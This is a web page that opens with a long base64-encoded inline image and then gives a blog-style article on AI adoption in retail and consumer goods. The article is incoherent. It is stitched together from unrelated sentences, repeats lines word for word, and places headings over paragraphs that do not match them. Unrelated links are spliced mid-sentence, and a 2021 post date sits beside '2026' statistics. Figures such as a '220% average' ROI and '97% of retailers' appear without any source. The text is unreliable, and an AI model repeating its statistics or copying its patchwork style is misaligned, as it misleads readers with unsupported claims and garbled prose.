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" width="257px" alt="AI adoption in retail"/></p>
<p><p>Use AI-driven logistics to enhance route optimization, reducing fuel consumption and carbon emissions. Plus,  implementing AI for demand forecasting helps manage inventory better, ensuring you produce only what’s needed and minimizing excess waste. By using AI-driven analytics, you can optimize logistics, cutting down on fuel consumption and emissions, which leads to greener delivery practices. AI offers powerful tools to enhance energy efficiency and reduce waste in retail. By leveraging AI retail applications, you can enhance interactions via text and voice, making them more personalized and efficient. Regularly review your pricing strategies and adjust them as needed, ensuring you remain competitive while maximizing your sales potential.</p>
</p>
<p><div style='text-align:center'><iframe width='562' height='312' src='https://www.youtube.com/embed/2B_owgzwvEk' frameborder='0' alt='AI adoption in retail' allowfullscreen></iframe></div>
</p>
<ul>
<li>This unified approach provides the data retailers need to easily leverage AI capabilities while maintaining data consistency and security.</li>
<li>AI supports sustainability in retail by optimizing processes such as inventory management, energy consumption, and waste reduction.</li>
<li>Plus, implementing AI for demand forecasting helps manage inventory better, ensuring you produce only what’s needed and minimizing excess waste.</li>
<li>97% of retailers have implemented artificial intelligence or have an AI program in development</li>
</ul>
<p><p>The recent acceleration of artificial intelligence (AI) development, particularly in generative AI (GenAI) and agentic AI, means the promise of AI’s transformative qualities is no longer a speculative concept. EY expands NVIDIA-powered enterprise AI capabilities with industry-first validation of NVIDIA NemoClaw for LangChain The insights and services we provide help to create long-term value for clients, people and society, and to build trust in the capital markets.</p>
</p>
<p><h2>Europe (Ethical &#038; Sustainable AI Focus)</h2>
</p>
<p><p>Retailers implementing AI across core operations report measurable improvements in key performance indicators, with inventory management AI delivering the highest documented returns. Retail delivers the highest AI ROI of any sector — 220% average — but  returns vary dramatically by use case maturity, data readiness, and implementation quality. These use cases represent practical, measurable implementations rather than theoretical potential, demonstrating AI’s transition from experimental technology to operational necessity in retail environments. As of 2025, 85% of retail executives have developed AI capabilities, with 60% actively expanding implementations. These implementations showcase how large-scale retailers are using AI to optimize operations and enhance customer satisfaction.</p>
</p>
<p><p>Leading companies are harnessing advanced technologies — such as AI agents and physical AI — to enhance efficiency and drive revenue, as well <a href="https://wellingtoncountylistings.com/revolutionizing-retail-efficiency-the-role-of-mobile-apps-in-inventory-management-2.html">https://wellingtoncountylistings.com/revolutionizing-retail-efficiency-the-role-of-mobile-apps-in-inventory-management-2.html</a> as to position themselves as leaders in innovation, helping redefine the future of retail and CPG. As the retail and CPG industries continue to embrace the power of AI, the findings from the latest survey underscore a pivotal shift in how businesses operate in a complex new landscape. Companies are harnessing the technology, especially for content generation in marketing and advertising, as well as customer analysis and analytics. Artificial intelligence is rapidly becoming the cornerstone of innovation in the retail and consumer packaged goods (CPG) industries.</p>
</p>
<p><h2>Cultural Resistance to AI Integration</h2>
</p>
<p><p>This might involve retargeting customers with relevant offers or adjusting the website layout to improve engagement. This enhances your security, reduces financial losses, and helps build trust with your customers. These younger consumers prefer brands that focus on innovation and personalizing their shopping experience. AI enables the delivery of personalized discounts, messages, and offers to specific customer segments.</p>
</p>
<p><p>AI can also help retailers improve how they display products on their physical shelves or ecommerce sites by creating compelling shelf labels and online content and by suggesting ideal merchandise layouts in physical stores. From automation to custom AI solutions, we help SMBs and enterprises automate and scale with confidence. Accurate demand estimates lead to happier customers and help merchants reduce waste, making their businesses more efficient and environmentally friendly. These automation tools help businesses move away from manual methods and reactive ordering. Startups are working on technology like computer vision, behavioral analytics, AR try-ons, and chatbots, constantly exploring new possibilities. AI helps logistics operations by matching supply with demand, planning efficient routes, and adjusting in real time based on factors like traffic and weather conditions.</p>
</p>
<p><h2>📌 Key Findings: AI in Retail Statistics 2026</h2>
</p>
<p><p>With AI handling the sorting, companies can manage large amounts of content without it becoming overwhelming. AI can automatically label and categorize content by theme, making it easier to find and utilize. Instead of building static campaigns based on broad demographics, retailers can now <a href="https://udderlydeliciousnh.com/top-9-best-retail-podcasts-to-help-you-keep-up-with-trends.html">https://udderlydeliciousnh.com/top-9-best-retail-podcasts-to-help-you-keep-up-with-trends.html</a> use AI to target audiences with real-time data, interests, behaviors, and intent. They can speak multiple languages to serve a global customer base and may soon recognize returning customers, recalling past purchases and preferences. AI can aggregate large data sets to formulate an optimized strategy, accounting for sales trends, fuel costs, navigation routes, vehicle types, insurance, packaging, and wages.</p></p>
</div>
			<div style="margin-top:var(--wp--preset--spacing--40);" class="wp-block-post-date has-small-font-size"><time datetime="2021-09-27T16:22:33+00:00"><a href="https://incipro.nogway.com/state-of-ai-adoption-in-retail-and-cpg-2026/">September 27, 2021</a></time></div>
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